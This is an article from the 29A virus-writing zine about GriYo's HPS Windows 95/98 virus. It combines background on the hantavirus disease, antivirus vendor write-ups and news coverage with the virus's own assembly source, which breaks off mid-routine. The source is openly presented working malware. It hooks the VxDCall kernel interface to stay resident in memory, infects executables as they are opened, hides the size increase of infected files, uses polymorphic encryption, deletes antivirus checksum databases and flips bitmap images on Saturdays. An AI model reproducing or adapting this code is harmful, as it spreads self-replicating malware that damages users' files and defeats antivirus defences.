Copy Link
Add to Bookmark
Report

29A Issue 03 04 06

eZine's profile picture
Published in 
29A
 · 4 years ago

  


Hantavirus Pulmonary Syndrome (HPS) Virus BioCoded by GriYo / 29A
-----------------------------------------------------------------




Index:
------

1 - About the biological version
2 - Author's description
3 - Description from Datafellows
4 - Description from AVP
5 - News about HPS from Cable News Network
6 - News about HPS from InfoWorld Media Group
7 - HPS source code




1 - About the biological version
--------------------------------

The disease hantavirus pulmonary syndrome (HPS), is characterized
by an initial fever followed by the abrupt onset of acute pulmonary edema
and shock. After recognition of the initial cases by observant clinicians
in the Southwest, investigations were swiftly mounted by local university
and public health workers but, in spite of efficient and competent studies,
failed to find the cause. By the time the CDC became involved, a number of
possible causative agents had been ruled out, leading most of the
investigators to believe they were dealing with a new entity. This
observation led to a broadly based approach to the field epidemiology and
the laboratory study of the disease. Samples from the field investigations
were distributed among many different laboratories of the National Center
for Infectious Disease (NCID) for analysis by the most sensitive classic
and modern molecular biological tests for a wide range spectrum of
infectious agents.

Somewhat surprisingly, successful results were obtained after
only a few days of straightforward serologic tests for hantaviruses.
The hemoconcentration, thrombocytopenia and shock observed in some of the
patients had raised speculation about the involvement of these viral
agents however they had been previously known as associated with renal
syndromes only. The serologic results came from established techniques
such as indirect fluorescent-antibody assays and enzyme-linked
immunosorbent assays. The next steps utilized reverse transcription and
PCR amplification of RNA in postmortem tissue samples (60% of confirmed
cases to date have been fatal), using consensus primers based on known
hantavirus RNA sequences. These yielded products with sequences typical of
hantavirus but clearly different from any known member of the genus. This
provided additional evidence for the hantavirus etiology and linked the
new hantavirus closely to the human disease by its presence in the tissues
of people dying of the infection. Using the genomic sequences from human
tissues, investigators were subsequently able to implicate the deer mouse
as the principle reservoir of the virus.

Hantaviruses have traditionally been difficult to propagate, and this one
was no exception. Thus a full-length cDNA clone of the small RNA segment
of the virus was synthesized. This technique provided a diagnostic reagent
of increased sensitivity that could be made widely available. Eventually,
full length RNA sequences were developed for the medium segment and a
partial sequence was determined for the large segment, permitting the
definitive determination that the new virus, isolated weeks later and
registered as Muerto Canyon virus, was not a reassortant of any known
hantavirus.

Immunohistochemical identification of hantavirus antigens and in situ
hybridization with genomic sequences also confirmed the hantavirus
etiology of the syndrome. The extensive presence of antigen in pulmonary
capillaries provided an explanation for the pathophysiology and target
organ specificity differing from that of other known disease-causing
hantaviruses. This method, when applied to paraffin-imbedded tissues, has
also served as a retrospective diagnostic tool, firmly identifying fatal
cases from 10 to 15 years ago.

The rapid recognition of the hantavirus etiology of this disease was
important in that it alleviated heightened fear among the general American
population, and saved lives by focusing public health recommendations on
the avoidance of contact with potentially infected rodents. Different
hantaviruses have been isolated in Louisiana, Florida and also Brazil,
indicating the uncommon, yet widespread nature of this disease. Recently
(Diglisic 1994), isolation of a hantavirus from Mus musculus captured in
Yugoslavia was reported.

As stated by C.J. Peters, chief of the Special Pathogens Branch of the
Division of Viral and Rickettsial Diseases at NCID, the crucial role of
modern techniques in virology was possible only in a context of past
hantavirus research, and as part of efforts of a multidisciplinary team of
clinicians, epidemiologists, field ecologists and classic microbiologists.
The need for basic research is highlighted by the applied practical success
which resulted from it, as was the case in identifying a new strain of
hantavirus. Future research will need to investigate the molecular
mechanisms for induction of pulmonary edema and an appropriate blocking
therapy. The evolutionary relationships of the hantaviruses and their
rodent host specificity must be understood to predict the future course of
transmission, and finally the basis for the different tropisms of the
viruses must be examined at a molecular level.




2 - Author's description
------------------------

This virus is a research speciment. It uses some system hacks that
may not work under futere versions of Windows, but for the moment it works
nice on Windows95 and Windows98. Some of its characteristics are:

2.1. Kernel scanning

The virus traps GP Faults and scans system memory looking for the
KERNEL32 base address. After that if gets the address of VxDCall function.
The virus uses no other APIs at all.

2.2. Memory resident

By means of VMM PageReserve and PageCommit the virus allocates a
block of shared memory and copies its body there. Then it hooks
VWIN32_Int21h_Dispatcher so all opened files will be infected.

2.3. Stealth

HPS hooks FindFirst and FindNext functions in order to hide
infected files true size.

2.4. Retro

Deletes anti-virus checksum databases.

2.5. Polymorphic

The virus uses complex polymorphic encryption engine to hide
itself into infected files. This decryptor will be generated during virus
installation (slow mutation).

2.5. Payload

On saturdays the virus will flip BMP files that are accessed,
included the ones hidden on .SYS extension (LOGO.SYS, WLOGO.SYS...).




3 - Description from Datafellows
--------------------------------

NAME: HPS
ALIAS: Hanta, Win95/HPS
TYPE: Resident EXE -files

HPS is a polymorphic Windows 95 virus which contains this text:

< Hantavirus Pulmonary Syndrome (HPS) Virus BioCoded by GriYo / 29A >

HPS stays active in memory and infects Win32 EXE files as they are
accessed, encrypting its own code with variable polymorphic encryption
layer.

HPS activates on Saturdays. If a non-compressed Windows bitmap (BMP) file
has been opened, the virus horizontally flips the picture.

HPS patches the value DEADBABE (in hex) to the end of the bitmap header
area to avoid flipping the same image again. Since non-compressed bitmap
files are frequently used by Windows 95 and 98, this causes all kinds of
weird effects - such as the start-up and power-down screen of Windows being
"mirrorized".




4 - Description from AVP
------------------------

This 5124 bytes virus is a Windows95/98 infector that installs
itself into the Windows kernel, hooks system events and then affects
Portable Executable (PE) files that are accessed. The virus was named after
its "copyright" string that is visible in decrypted virus code:

< Hantavirus Pulmonary Syndrome (HPS) Virus BioCoded by GriYo / 29A >

While infecting a file the virus increases size of last section, encrypts
its code by polymorphic engine, writes encrypted result to the end of file
into the last section and modifies the address of entry point. The size of
polymorphic decryption loop is variable, as a result size of infected files
grows by variable values.

The virus is slow polymorphic, that means the polymorphic decryption loop
code is not changed each time the virus infects a file. Moreover, the same
infected file will produce the same polymorphic code while infecting next
files, and all files that are infected before rebooting will have the same
decryption routine. Only next "generation" of the virus will produce
polymorphic loop that differs with "parent" copy of the virus.

When an infected file is executed, the polymorphic decryption routine takes
control, restores virus code in original form and jumps to installation
routine. The virus then scans Windows kernel code to locate KERNEL32.DLL
image, looks for export table in there and gets VxDCall routine address
from there. The virus then uses this address to call disk access and other
routines in case of need.

The virus then installs itself into the Windows kernel: allocates a block
of memory by using undocumented Win32 VxD services provided by VMM
(PageReserve and PageCommit), copies itself to there, scans the VxDCall
handler in KERNEL32 code and patches it with address of its own handler. As
a result the virus installs itself into the shared memory area and hooks
VxDCall.

To prevent General Protection while scanning Windows memory for
KERNEL32.DLL image (that can appear when the virus accesses a part of
memory that is not available for applications) the virus protects itself by
Structured Exception Handling (SEH). This also does its work as a
anti-debugging trick.

The virus detects its already installed copy by a Are-You-Here? call by
GetDate VxDCall with registers ESI='HPS!' and EDI='TSR?', the installed
copy returns 'YES!' in ESI register.

The virus VxDCall handler monitors VWIN32_Int21Dispatch calls only and
passes through any other calls. There are nine functions intercepted:

GetDate, Open ReadOnly, Open WriteOnly, FindFirst/Next with LongNames,
Rename with LongName, Create/Open with LongName.

On file access calls (open, rename) the virus compares the file name
extension with EXE, SRC and SYS and infects them, if they are not infected
yet. After infecting a file the virus deletes the anti-virus data files
ANTI-VIR.DAT, CHKLIST.MS, AVP.CRC, IVB.NTZ, if they exist.




5 - News about HPS from Cable News Network
------------------------------------------

SAN FRANCISCO, CALIFORNIA, U.S.A. (NB)
By Craig Menefee, Newsbytes.

Panda Software, a Spanish security software firm that recently
entered US anti-virus markets, claims to have bagged the first Windows 98
computer virus before the new operating system upgrade has even hit the
shelves. Panda says the bug's only apparent purpose is to insert itself
into Windows 98 files, wait until Saturdays and then invert the screen to a
mirror image when it activates.

Newsbytes notes several crucial authenticating details were missing late
Wednesday, after the firm's European labs were closed for the day.

Asked if the virus is otherwise damaging, Pedro Bustamante, president of
Panda Software USA in San Francisco, told Newsbytes the virus seems
intended more as a nuisance than a threat to computer users. He said the
bug was detected first in Spain and is probably not yet "in the wild," that
is, spread beyond the initial release area.

Panda says the virus is polymorphic and encrypted by a scrambling routine
that changes patterns to elude detection. When unscrambled, it carries in
its code the letters "HPS". Panda says the letters are an apparent
reference to Hantavirus Pulmonary Syndrome, a viral disease transmitted by
rodents in the US. Bustamante says the HPS virus also works on Windows 95
platforms if Microsoft Internet Explorer 4.0 is installed on the machine.
Still, he adds, the bug was designed specifically for Windows 98, not
MS Internet Explorer 4.0. Bustamante told Newsbytes he will provide some
further answers on Thursday after the Panda Software Virus Lab opens in
Spain. Questions to be answered include how the researchers know the bug is
targeted for Windows 98 rather than Windows 95 or MSIE 4.0 as a bug that
also happens to work under Windows 98. Also he said he would find out how
the virus gets transmitted from one machine to another.




6 - News about HPS from InfoWorld Media Group
---------------------------------------------

June 22, 1998 (Vol. 20, Issue 25)
Virus in Win98 beats OS shipping date

The first virus specifically written for Microsoft Windows 98 is
shipping and available before the operating system itself: Windows 98 ships
June 25.

HPS (Hantavirus Pulmonary Syndrome) is a 32-bit polymorphic Windows virus
that only activates when the infected system is booted on a Saturday. The
Hantavirus Pulmonary Syndrome for which the virus is named is a biological
disease transmitted by rodents. Its principal symptom is an acute
respiratory crisis. If activated, the computer virus flips any uncompressed
bitmaps horizontally, only on Saturdays. This produces a "mirror" effect
for many of the screens used within the Windows operating system, according
to Virus Bulletin, the Oxfordshire, England-based technical journal that
tracks viruses.

The virus was authored by GriYo, who is referred to as a "notorious member"
of the 29A virus-writing group, and is credited with writing the complex
Implant virus, according to Virus Bulletin.

GriYo did make the virus backward-compatible, though, so Windows 95 users
need not upgrade to the new OS to experience the same effects.

Panda Software, based in Spain, has already added protection for this virus
into its anti-virus software.

According to a Symantec representative, the company is awaiting its sample
of the virus and said all anti-virus companies would be adding protection
for this virus to their libraries shortly.




7 - HPS source code
-------------------

Here is the source code of HPS virus. Refer to the article
"The VxDCall Backdoor" for more information.

And before anything else, its time for some greetings...

Maia Smuaaaack!
Jacky Qwerty Thanks again for your help on this virus
Vecna Another great coder on our team... good job man
Reptile Come this summer with the smurfs (and their houses;)
Picard What about comming with Reptile this summer?
MrSandman Esperanto was the dream? or you will bring us another one?
DarkMan Waiting for that 29A domain ;)
Bozo Justice? What justice?
Mainboard Hey listen this song! It sounds like the packets in the net!
DarkNail Is 'Hasimuri' made with poison?
CaseZero You have to teach me how to do plastic explosives, eh!?
Amanda Hiya baby!
Armitage 10x for that Linux includes... remember?
Belize See yah on da'chanel
DeadRose I want to see you on next #hack meeting!
Akrata You have to explain again that 'todo=nada' shit ;)
BillSucks The 'new world order' man
Psico Eeeeeoooo!!!
Teddy Kalgan roqs!
Giggler You reel? :P
Valkie What about games? Lets code one! Fuxor!
LuisM Da'B3st Weba-Masta on this side of the galaxy

Thats all folks, have fun ;)

GriYo / 29A

Im not in the business...
...I am the business




-------->8 cut here ---------------------------------------------------------

;············································································
;
;
; Hantavirus Pulmonary Syndrome (HPS) Virus BioCoded by GriYo / 29A
;
;
;············································································

.386P
locals
jumps
.model flat,STDCALL

;Include the following files

include Win32api.inc
include Useful.inc
include Mz.inc
include Pe.inc

;Some externals only used on 1st generation

extrn ExitProcess:NEAR
extrn MessageBoxA:NEAR

;Virus equates

mem_size equ mem_end-mem_base ;Size of virus in memory
inf_size equ inf_end-mem_base ;Size of virus in files
base_default equ 00400000h ;Default host base address
page_mem_size equ (mem_size+ \ ;Virus in memory
inf_size+ \ ;Virus copy for infections
poly_max_size+ \ ;Poly decryptor
0FFFh)/1000h ;Size in memory pages
page_align equ 10000h ;Page allocation alignment
SIZE_PADDING equ 00000065h ;Mark for infected files

;Some equates stolen from VMM.h

PR_PRIVATE EQU 80000400h
PR_SHARED EQU 80060000h
PR_SYSTEM EQU 80080000h
PR_FIXED EQU 00000008h
PR_4MEG EQU 00000001h
PR_STATIC EQU 00000010h
PD_ZEROINIT EQU 00000001h
PD_NOINIT EQU 00000002h
PD_FIXEDZERO EQU 00000003h
PD_FIXED EQU 00000004h
PC_FIXED EQU 00000008h
PC_LOCKED EQU 00000080h
PC_LOCKEDIFDP EQU 00000100h
PC_WRITEABLE EQU 00020000h
PC_USER EQU 00040000h
PC_INCR EQU 40000000h
PC_PRESENT EQU 80000000h
PC_STATIC EQU 20000000h
PC_DIRTY EQU 08000000h
PCC_ZEROINIT EQU 00000001h
PCC_NOLIN EQU 10000000h

;············································································

_TEXT segment dword use32 public 'CODE'

host_entry: xor ebp,ebp
call entry_1st_gen
xor eax,eax
push eax
call ExitProcess

_TEXT ends

;············································································

_DATA segment dword use32 public 'DATA'
_DATA ends

;············································································

_BSS segment dword use32 public 'BSS'
_BSS ends

;············································································
;Virus loader code
;············································································

virseg segment dword use32 public 'HPS'

mem_base equ this byte

virus_entry: call get_delta ;Get delta-offset
get_delta: pop ebp ;into ebp and
mov eax,ebp ;host original
sub ebp,offset get_delta ;entry-point in eax
db 2Dh ;sub eax,xxxx
infected_ep dd 00000000h
db 05h ;add eax,xxxx
original_ep dd 00000000h
push eax

entry_1st_gen: ;Scan memory looking for KERNEL32.dll
;We can do this without causing protection faults,
;just setup a structured exception handler to trap faults
;produced by our scan
;Thanks to Jacky Qwerty for this piece of code

pushad

try_01: mov eax,080000101h
call IGetK32BaseAddr
jecxz try_02
jmp kernel_found
try_02: mov eax,0C0000101h
call IGetK32BaseAddr
jecxz try_03
jmp kernel_found
try_03: xor eax,eax
call IGetK32BaseAddr

kernel_found: mov dword ptr [esp.Pushad_ebx],ecx
popad
or ebx,ebx
jz init_error
mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
add eax,ebx
mov edi,dword ptr [eax+NT_OptionalHeader. \
OH_DirectoryEntries. \
DE_Export. \
DD_VirtualAddress]
add edi,ebx

;Microsoft C compiler mangles the names of stdcall functions
;(such as VxDCall) to include an @ followed by the number of
;parameter bytes that the function uses
;If you dump out the exports from KERNEL32.dll, you will
;find that the first eight exported entry-points (export
;ordinals 1 through 9) all refer to the same address
;This address is the VxDCall function entry-point
;So lets go to address of exported functions and look for 8
;functions pointing to the same address

;At this time:
;
;ebx = kernel base address
;edi = image export dir

mov esi,dword ptr [edi+ED_AddressOfFunctions]
add esi,ebx
xor edx,edx
address_loop: cmp edx,dword ptr [edi+ED_NumberOfFunctions]
jae init_error
mov ecx,00000008h-01h
function_loop: inc edx
lodsd
cmp eax,dword ptr [esi]
jne address_loop
loop function_loop

add eax,ebx
mov dword ptr [ebp+a_VxDCall],eax ;VxDCall found

;At this point we know how to call VxDCall api
;So we can use our int21h dispatcher to perform
;the residency check

mov eax,00002A00h
mov esi,"HPS!"
mov edi,"TSR?"
call my_int21h
cmp esi,"YES!"
je init_error

;Check if time to activate our payload

xor ecx,ecx
cmp al,06h ;Saturday?
jne activation_end
inc ecx
activation_end: mov dword ptr [ebp+bmp_active],ecx

;Well... Now lets use VxDCall to allocate some
;shared memory
;This memory will stay there after host termination
;and will be visible to all running processes

push PC_WRITEABLE or PC_USER
push page_mem_size ;# of pages
push PR_SHARED
PUSH 00010000h ;Call to _PageReserve
call dword ptr [ebp+a_VxDCall] ;VxDCall0
cmp eax,0FFFFFFFFh ;Success?
je init_error
cmp eax,80000000h ;In shared memory?
jb free_pages

mov dword ptr [ebp+mem_address],eax ;Save linnear address

push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED
push 00000000h
push PD_ZEROINIT
push page_mem_size ;# of pages
shr eax,0Ch ;Linnear page number
push eax
push 00010001h ;Call to _PageCommit
call dword ptr [ebp+a_VxDCall] ;VxDCall0
or eax,eax
je free_pages

commit_success: mov eax,dword ptr [ebp+mem_address] ;Point eax to our
add eax,VxDCall_code-mem_base ;hook procedure
mov dword ptr [ebp+ptr_location],eax ;Setup far jmp
mov dword ptr [ebp+hook_status],"FREE" ;Clear busy flag

;Let's trace VxDCall function, code will look like:
;
;VxDCall:
;
;8B 44 24 04 MOV EAX,DWORD PTR [ESP+04h]
;8F 04 24 POP DWORD PTR [ESP]
;2E FF 1D xx xx xx xx CALL FWORD PTR CS:[xxxxxxxx]
;
;The 32bit far call instruction points to an INT 30h
;instruction used by the VxDCall function to transfer
;control to RING-0

mov esi,dword ptr [ebp+a_VxDCall] ;VxDCall entry-point
mov ecx,00000100h ;Explore 0100h bytes
trace_VxDCall: lodsb
cmp al,2Eh
jne trace_next
cmp word ptr [esi],1DFFh
je get_int30h
trace_next: loop trace_VxDCall

free_pages: xor eax,eax
push eax
push dword ptr [ebp+mem_address]
push 0001000Ah ;Call to _PageFree
call dword ptr [ebp+a_VxDCall] ;VxDCall0
jmp init_error

get_int30h: ;Before setting our hook lets generate one polymorphic
;decryptor... We will use this decryptor for each file
;infection... This is also known as slow-mutation

call mutate ;Generate decryptor

;Now we have all the necesary information to hook Windows
;calls to VxDCall function
;Save the 16:32 pointer to INT 30h instruction and
;overwrite it with the address of our hook procedure

cli
lodsw ;Skip FF 1D opcodes
lodsd ;Get ptr to INT 30h
push eax
mov esi,eax
mov edi,dword ptr [ebp+mem_address]
add edi,VxDCall_code-mem_base
mov ecx,00000006h
rep movsb
pop edi
mov eax,dword ptr [ebp+mem_address]
add eax,VxDCall_hook-mem_base
stosd
mov ax,cs ;Overwrite far ptr
stosw
sti

init_error: lea ebp,dword ptr [esp+0000013Ch-00000004h]
ret

;············································································
;Find base address of KERNEL32.Dll (code by Jacky Qwerty)
;············································································

SEH_ExcptBlock macro
add esp,-cPushad
jnz GK32BA_L1
endm

IGetK32BaseAddr: @SEH_SetupFrame <SEH_ExcptBlock>
mov ecx,edx
xchg ax,cx
GK32BA_L0: dec cx
jz GK32BA_L2
add eax,-10000h
pushad
mov bx,-IMAGE_DOS_SIGNATURE
add bx,[eax]
mov esi,eax
jnz GK32BA_L1
mov ebx,-IMAGE_NT_SIGNATURE
add eax,[esi.MZ_lfanew]
mov edx,esi
add ebx,[eax]
jnz GK32BA_L1
add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries \
.DE_Export.DD_VirtualAddress]
cld
add esi,[edx.ED_Name]
lodsd
and eax,not 20202020h
add eax,-'NREK'
jnz GK32BA_L1
lodsd
or ax,2020h
add eax,-'23le'
jnz GK32BA_L1
lodsb
xor ah,al
jz GK32BA_L1
add al,-'.'
lodsd
jnz GK32BA_L1
and eax,not 202020h
add eax,-'LLD'
GK32BA_L1: popad
jnz GK32BA_L0
xchg ecx,eax
inc eax
GK32BA_L2: @SEH_RemoveFrame
ret

include excpt.inc

;············································································
;Hook on Windows VxDCall function
;············································································

VxDCall_hook: pushad

call mem_delta ;Get "in-memory"
mem_delta: pop ebp ;delta offset
sub ebp,offset mem_delta

cmp dword ptr [ebp+hook_status],"BUSY" ;Dont process our
je exit_hook ;own calls

cmp eax,002A0010h ;VWIN32 VxD int 21h?
jne exit_hook

mov eax,dword ptr [esp+0000002Ch]

cmp ax,2A00h ;Get system time?
je tsr_check

cmp ax,3D00h ;Open file read?
je infection_edx

cmp ax,3D01h ;Open file
je infection_edx ;read/write?

cmp ax,7143h ;X-Get/set attrib?
je infection_edx

cmp ax,714Eh ;LFN find first file
je stealth

cmp ax,714Fh ;LFN find next file
je stealth

cmp ax,7156h ;LFN rename file?
je infection_edx

cmp ax,716Ch ;LFN extended open?
je infection_esi

cmp ax,71A8h ;Generate short name?
je infection_esi

exit_hook: popad

do_far_jmp: ;Do a jmp fword ptr cs:[xxxxxxxx] into original code

db 2Eh,0FFh,2Dh
ptr_location dd 00000000h

;············································································
;Residency check
;············································································

tsr_check: cmp esi,"HPS!" ;Is our tsr check?
jne exit_hook
cmp edi,"TSR?"
jne exit_hook
popad
mov esi,"YES!" ;Already resident
jmp short do_far_jmp

;············································································
;Stealth
;············································································

stealth: mov eax,dword ptr [esp+00000028h] ;Save return address
mov dword ptr [ebp+stealth_ret],eax
lea eax,dword ptr [ebp+api_ret] ;Set new ret address
mov dword ptr [esp+00000028h],eax

mov dword ptr [ebp+find_data],edi ;Save ptr2FindData

jmp exit_hook

api_ret: ;As result of the above code we will get control after
;int21h FindFirst or FindNext funcions

jc back2caller ;Exit if fail

pushad ;Save all registers

call stealth_delta ;Delta offset used
stealth_delta: pop ebp ;in stealth routines
sub ebp,offset stealth_delta

db 0BFh ;mov edi,ptr FindData
find_data dd 00000000h

xor eax,eax
cmp dword ptr [edi+WFD_nFileSizeHigh],eax
jne stealth_done

mov eax,dword ptr [edi+WFD_nFileSizeLow]
mov ecx,SIZE_PADDING
xor edx,edx
div ecx
or edx,edx
jnz stealth_done

lea esi,dword ptr [edi+WFD_szFileName] ;Ptr to filename
push esi
call check_filename
pop esi
jc stealth_done

mov dword ptr [ebp+hook_status],"BUSY" ;Set busy flag

mov eax,0000716Ch ;LFN Ext Open/Create
xor ebx,ebx ;Read
xor ecx,ecx ;Attribute normal
xor edx,edx
inc edx ;Open existing
call my_int21h
jc stealth_done
mov ebx,eax

mov edx,dword ptr [edi+WFD_nFileSizeLow]
sub edx,00000004h
call seek_here
jc close_stealth

mov eax,00003F00h ;Read bytes written
mov ecx,00000004h
lea edx,dword ptr [ebp+stealth_this]
call my_int21h
jc close_stealth

mov eax,dword ptr [ebp+stealth_this]
sub dword ptr [edi+WFD_nFileSizeLow],eax

close_stealth: mov eax,00003E00h ;Close file
call my_int21h

stealth_done: mov dword ptr [ebp+hook_status],"FREE" ;Clear busy flag
popad ;Save all registers
clc ;Return no error

back2caller: push eax
push eax
db 0B8h ;Load eax with the
stealth_ret dd 00000000h ;return address
mov dword ptr [esp+00000004h],eax
pop eax
ret

;············································································
;Infection
;············································································

infection_edx: mov esi,edx

infection_esi: mov dword ptr [ebp+hook_status],"BUSY" ;Set busy flag

call check_filename
jc exit_infection
mov dword ptr [ebp+ptr_filename],edx

mov esi,edx
xor ecx,ecx
cld
name_checksum: xor eax,eax
lodsb
or al,al
jz got_checksum
add ecx,eax
jmp short name_checksum
got_checksum: cmp dword ptr [ebp+last_checksum],ecx
je exit_infection
mov dword ptr [ebp+last_checksum],ecx

;****infection filter
;mov esi,edx
;lodsd
;cmp ax,"XX"
;jne exit_infection

mov eax,00007143h ;LFN Ext attributes
xor ebx,ebx ;Retrieve attributes
lea edx,dword ptr [ebp+target_filename] ;Ptr to filename
call my_int21h
jc exit_infection
mov dword ptr [ebp+file_attrib],ecx ;Save original attrib

mov eax,00007143h ;LFN Ext attributes
mov bl,01h ;Set file attributes
xor ecx,ecx ;Clear all attributes
lea edx,dword ptr [ebp+target_filename] ;Ptr to filename
call my_int21h
jc exit_infection

mov eax,00007143h ;LFN Ext attributes
mov bl,04h ;Retrieve last w time
lea edx,dword ptr [ebp+target_filename] ;Ptr to filename
call my_int21h
jc exit_infection

mov dword ptr [ebp+file_time],ecx ;Save original time
mov dword ptr [ebp+file_date],edi ;Save original date

mov eax,0000716Ch ;LFN Ext Open/Create
mov ebx,00000002h ;Read/Write
xor ecx,ecx ;Attribute normal
mov edx,00000001h ;Open existing
lea esi,dword ptr [ebp+target_filename] ;Ptr to filename
call my_int21h
jc exit_infection
mov ebx,eax

mov eax,00003F00h ;Read MsDos header
mov ecx,IMAGE_SIZEOF_DOS_HEADER ;or bitmap file
lea edx,dword ptr [ebp+msdos_header] ;header
call my_int21h
jc close_file

cmp word ptr [ebp+msdos_header],IMAGE_DOS_SIGNATURE
je executable

;Here comes the payload code... if it is activated the virus
;will flip horizontally every .BMP file accessed, including
;the ones hidden as .SYS (logow.sys for example ;)

;Payload activated?

xor eax,eax
cmp dword ptr [ebp+bmp_active],eax
je close_file

;Well, now lets try to determine if this file is a BMP file

cmp word ptr [ebp+msdos_header],"MB"
jne close_file

;Allow only .BMP files using 1 plane and 8 bits per pixel

cmp dword ptr [ebp+msdos_header+0000001Ah],00080001h
jne close_file

;Skip .BMP files that use compression

xor eax,eax
cmp dword ptr [ebp+msdos_header+0000001Eh],eax
jne close_file

;Check bitmap size in bytes

mov eax,dword ptr [ebp+msdos_header+00000012h]
mov ecx,dword ptr [ebp+msdos_header+00000016h]
mul ecx
cmp eax,dword ptr [ebp+msdos_header+00000022h]
jne close_file

call seek_eof
cmp dword ptr [ebp+msdos_header+00000002h],eax
jne close_file
add eax,00000FFFh
xor edx,edx
mov ecx,00001000h
div ecx
mov dword ptr [ebp+bmp_pages],eax

push ebx

push PC_WRITEABLE or PC_USER
push eax ;# of pages
push PR_SYSTEM
PUSH 00010000h ;Call to _PageReserve
call dword ptr [ebp+a_VxDCall] ;VxDCall0

pop ebx

cmp eax,0FFFFFFFFh ;Success?
je close_file

mov dword ptr [ebp+bmp_address],eax ;Save linnear address

push ebx

push PC_WRITEABLE or PC_USER
push 00000000h
push PD_ZEROINIT
push dword ptr [ebp+bmp_pages] ;# of pages
shr eax,0Ch ;Linnear page number
push eax
push 00010001h ;Call to _PageCommit
call dword ptr [ebp+a_VxDCall] ;VxDCall0

pop ebx

or eax,eax
je free_bmp_mem

call seek_bof ;Return to bof
jc close_file

mov eax,00003F00h ;Read the whole .BMP
mov ecx,dword ptr [ebp+msdos_header+00000002h]
mov edx,dword ptr [ebp+bmp_address]
call my_int21h
jc free_bmp_mem

mov eax,dword ptr [ebp+bmp_address]
mov esi,dword ptr [eax+0000000Ah]
add esi,eax

cmp dword ptr [esi],0DEADBABEh ;Already flip'ed?
je free_bmp_mem

push esi

mov ecx,dword ptr [ebp+msdos_header+00000016h]

height_loop: push ecx
mov ecx,dword ptr [ebp+msdos_header+00000012h]
lea edi,dword ptr [esi+ecx-00000001h]
shr ecx,01h
push ecx

width_loop: mov al,byte ptr [esi]
mov ah,byte ptr [edi]
mov byte ptr [esi],ah
mov byte ptr [edi],al
inc esi
dec edi
loop width_loop

pop eax
add esi,eax
pop ecx
loop height_loop

pop esi
mov dword ptr [esi],0DEADBABEh

call seek_bof
jc free_bmp_mem

mov eax,00004000h
mov ecx,dword ptr [ebp+msdos_header+00000002h]
mov edx,dword ptr [ebp+bmp_address]
call my_int21h

free_bmp_mem: push ebx

xor eax,eax
push eax
push dword ptr [ebp+bmp_address]
push 0001000Ah ;Call to _PageFree
call dword ptr [ebp+a_VxDCall] ;VxDCall0

pop ebx

jmp close_file

executable: cmp word ptr [ebp+msdos_header+MZ_lfarlc],0040h
jb close_file

call seek_eof ;Get file size
jc close_file

mov ecx,SIZE_PADDING ;Already infected?
xor edx,edx
div ecx
or edx,edx
jz close_file

call seek2pe_header ;Seek to PE header
jc close_file ;and read it
mov eax,00003F00h ;Read also following
mov ecx,IMAGE_SIZEOF_FILE_HEADER+ \ ;optional header
IMAGE_SIZEOF_NT_OPTIONAL_HEADER+ \
00000004h
lea edx,dword ptr [ebp+pe_signature]
call my_int21h
jc close_file
cmp dword ptr [ebp+pe_signature],IMAGE_NT_SIGNATURE
jne close_file
cmp word ptr [ebp+pe_header+FH_Machine], \
IMAGE_FILE_MACHINE_I386
jne close_file
mov ax,word ptr [ebp+pe_header+FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
jz close_file
test ax,IMAGE_FILE_DLL
jnz close_file

call seek2last_sh ;Seek to last section
jc close_file ;in file and read it
mov eax,00003F00h ;Avoid files with the
mov ecx,IMAGE_SIZEOF_SECTION_HEADER ;IMAGE_SCN_MEM_SHARED
lea edx,dword ptr [ebp+section_header] ;flag
call my_int21h
jc close_file
test dword ptr [ebp+section_header+SH_Characteristics], \
IMAGE_SCN_MEM_SHARED
jnz close_file

mov eax,dword ptr [ebp+optional_header+ \
OH_AddressOfEntryPoint] ;Save original
mov dword ptr [ebp+original_ep],eax ;entry-point rva

call seek_eof ;Seek to EOF
jc close_file

push eax ;Save file size

add eax,inf_size ;Add virus size
add eax,dword ptr [ebp+decryptor_size] ;Add decryptor size

mov esi,eax

mov ecx,SIZE_PADDING
xor edx,edx
div ecx
inc eax
mul ecx

sub eax,esi
mov dword ptr [ebp+padding_block],eax

add dword ptr [ebp+section_header+ \ ;New SizeOfRawData
SH_SizeOfRawData],esi

add dword ptr [ebp+optional_header+ \
OH_SizeOfImage],esi ;New size of image

lea edx,dword ptr [esi+mem_size-inf_size]

add dword ptr [ebp+section_header+ \ ;New VirtualSize
SH_VirtualSize],edx

or dword ptr [ebp+section_header+ \ ;Set section
SH_Characteristics], \ ;characteristics
IMAGE_SCN_MEM_READ \
or IMAGE_SCN_MEM_WRITE

pop eax ;Get file size

add eax,dword ptr [ebp+section_header+SH_VirtualAddress]
sub eax,dword ptr [ebp+section_header+SH_PointerToRawData]
add eax,00000005h
mov dword ptr [ebp+infected_ep],eax ;RVA of virus code

add eax,dword ptr [ebp+entry_point] ;Entry to decryptor
add eax,inf_size-00000005h ;Virus size
mov dword ptr [ebp+optional_header+ \
OH_AddressOfEntryPoint],eax ;New entry-point

call scramble_virus ;Perform encryption

mov eax,00004000h ;Write virus body
mov ecx,inf_size ;at EOF
add ecx,dword ptr [ebp+decryptor_size]
add ecx,dword ptr [ebp+padding_block]
lea edx,dword ptr [ebp+mem_base+mem_size]

mov dword ptr [edx+ecx-00000004h],ecx ;Save bytes written

call my_int21h
jc close_file

;Get position of last section into file and write the
;infected header data

call seek2last_sh
jc close_file

mov eax,00004000h ;Write section
mov ecx,IMAGE_SIZEOF_SECTION_HEADER ;header
lea edx,dword ptr [ebp+section_header]
call my_int21h
jc close_file

;Write PE header and part of Optional Header

call seek2pe_header
jc close_file

mov eax,00004000h ;Write headers
mov ecx,IMAGE_SIZEOF_FILE_HEADER+00000004h+0000005Eh
lea edx,dword ptr [ebp+pe_signature]
call my_int21h

close_file: mov eax,00003E00h ;Close file
call my_int21h

mov eax,00007143h ;LFN Ext attributes
mov bl,03h ;Set last write time
lea edx,dword ptr [ebp+target_filename] ;Ptr to filename
mov ecx,dword ptr [ebp+file_time] ;Original time
mov edi,dword ptr [ebp+file_date] ;Original date
call my_int21h

mov eax,00007143h ;LFN Ext attributes
xor ebx,ebx ;Set file attributes
inc ebx
mov ecx,dword ptr [ebp+file_attrib] ;Original attributes
lea edx,dword ptr [ebp+target_filename] ;Ptr to filename
call my_int21h

lea esi,dword ptr [ebp+del_fileptr] ;Delete AV checksum
mov ecx,00000004h ;databases

delete_loop: cld
lodsd
add eax,ebp
